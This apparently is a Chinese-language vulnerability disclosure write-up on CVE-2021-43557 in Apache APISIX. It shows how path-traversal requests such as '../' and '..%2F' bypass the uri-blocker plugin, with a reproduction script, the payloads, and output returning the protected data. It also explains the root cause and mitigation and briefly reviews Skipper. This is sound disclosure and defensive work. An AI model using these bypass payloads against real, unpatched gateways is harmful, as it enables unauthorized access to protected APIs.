Skip to main content

Apache APISIX request_uri 变量控制不当,存在路径穿透风险

· One min read

在这篇文章中,将介绍我对 Apache APISIX Ingress Controller 中 $request_uri 变量不安全使用的问题研究。

本文提及的 Ingress Controller 中 $request_uri 变量不安全使用的问题,目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后,目前该漏洞已第一时间被修复。同时在文章最后,我也将简要地提到我为同一问题测试的Skipper 项目。

Apache APISIX 是一个动态、实时、高性能的 API 流量处理平台,它提供了丰富的流量管理功能,如负载均衡、动态上游、金丝雀发布、断路器、身份认证、可观测性等。

为什么是 $request_uri

$request_uri在认证和授权插件中被多次使用。因为它是not normalized,所以就增加了绕过一些限制的可能性。

Apache APISIX 内置多种身份认证插件,当然,你也可以编写自定义插件。为了验证它受到了路径遍历问题的影响,我选择了 uri-blocker 插件进行演示。

开始部署#

在这里,我使用了 0.7.2 版本的 Helm Chart 来将 Apache APISIX 部署至 Kubernetes 中:

helm repo add bitnami https://charts.bitnami.com/bitnamihelm repo updatekubectl create ns ingress-apisixhelm install apisix apisix/apisix \  --set gateway.type=NodePort \  --set ingress-controller.enabled=true \  --namespace ingress-apisix \  --version 0.7.2kubectl get service --namespace ingress-apisix

如果安装时出现问题,请参考官方指南

接着,我部署了一条 ApisixRoute 资源以便创建 Ingress 路由:

apiVersion: apisix.apache.org/v2beta1kind: ApisixRoutemetadata:  name: public-service-routespec:  http:  - name: public-service-rule    match:      hosts:      - app.test      paths:      - /public-service/*    backends:        - serviceName: public-service          servicePort: 8080    plugins:      - name: proxy-rewrite        enable: true        config:          regex_uri: ["/public-service/(.*)", "/$1"]  - name: protected-service-rule    match:      hosts:      - app.test      paths:      - /protected-service/*    backends:        - serviceName: protected-service          servicePort: 8080    plugins:      - name: uri-blocker        enable: true        config:          block_rules: ["^/protected-service(/?).*"]          case_insensitive: true      - name: proxy-rewrite        enable: true        config:          regex_uri: ["/protected-service/(.*)", "/$1"]

ApisixRoute 可以做到以下内容:

  • public-serviceprivate-service 创建路由;
  • 开启 proxy-rewrite 来删除前缀;
  • protected-service 配置了 uri-blocker 插件。这个插件会阻止任何以 /protected-service 开头的请求。

复现步骤#

在这里,我使用的是 2.10.0 版本的 Apache APISIX。

选择使用 minikube 来访问 Apache APISIX 路由资源:

kubectl exec -it -n ${Apache APISIX namespace} ${Apache APISIX Pod name} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

此外,我也写了一个脚本来减少重复性操作:

#/bin/bash
kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'

在尝试复现问题时,可将 apisix-dc9d99d76-vl5lh替换为实际的 Apache APISIX Pod 名称。

接下来让我们开始验证路由和插件是否按预期正常工作:

$ ./apisix_request.sh "/public-service/public"Defaulted container "apisix" out of: apisix, wait-etcd (init){"data":"public data"}
$ ./apisix_request.sh "/protected-service/protected"Defaulted container "apisix" out of: apisix, wait-etcd (init)<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

从上边我们看到,public-service 是可用的,protected-service 则被插件阻止了。

现在让我们测试一下 Payload:

  • 情况一
$ ./apisix_request.sh "/public-service/../protected-service/protected"Defaulted container "apisix" out of: apisix, wait-etcd (init){"data":"protected data"}
  • 情况二
$ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"Defaulted container "apisix" out of: apisix, wait-etcd (init){"data":"protected data"}

正如你所看到的,在上述两种情况下,我都能够绕过 Uri 的限制。

漏洞解析#

出现上述情况的根本原因是 uri-blocker 插件在处理禁止访问的逻辑中使用了 ctx.var.require_uri 变量。可以点击相关代码进行查看。

Cause

漏洞影响#

  • 攻击者可以绕过访问控制限制逻辑,访问本应该禁止的 API;
  • 自定义插件的开发者或许不知道 ngx.var.request_uri 变量是不可信任的。

在搜索 var.request_uri 相关用法时,我猜测上述漏洞或许对 authz-keycloak 插件也有影响。

具体细节详情可以参考这段代码。如果 keycloak 方面没有进行相关规范化,那么出现漏洞的可能性就很大。

处理措施#

关于此漏洞的解决方法,我个人建议如果是使用自定义插件的话,可在使用 ngx.var.request_uri 变量前进行路径规范化的相关处理。同时可以额外检查下 ctx.var.upstream_urictx.var.uri 这两个变量,虽然可能已经被规范化了,但防患于未然。

Skipper#

Skipper 是我个人在进行上述安全漏洞调查时接触到的另一个 Ingress Controller。因其内容久远未更新,在 Kubernetes 中安装它并不容易。幸运的是,我在开发者文章里找到了如何安装它的相关内容。

这项 Ingress 提供了基于 WebHook filter 实现的外部认证可能性。

apiVersion: networking.k8s.io/v1kind: Ingressmetadata:  name: my-ingress  annotations:    zalando.org/skipper-filter: |            modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")

通过添加一些 headers 可以优化访问控制决策,但需要用 setRequestHeader 过滤器手动完成。

有一个模板可以通过使用 ${} 来注入变量,但遗憾的是(对攻击者来说)${request.path} 有正常化的路径。在它的开发代码中可以看到,开发人员并没有轻易使用 RequestURIoriginalRequest

我没有进行相关的路径遍历测试,或许 Skipper 也是安全可信的一个 Ingress Controller 选择。

总结#

虽然前文中我提到了 Apache APISIX 存在路径遍历的漏洞,但该漏洞并不影响任何外部认证,只是影响了使用 ctx.var.request_uri 变量的插件。同时该漏洞已被 Apache APISIX 进行了及时修复,目前已没有安全漏洞问题,大家可放心使用。

关于本文中提到的全部代码都可以在这里进行查阅参考。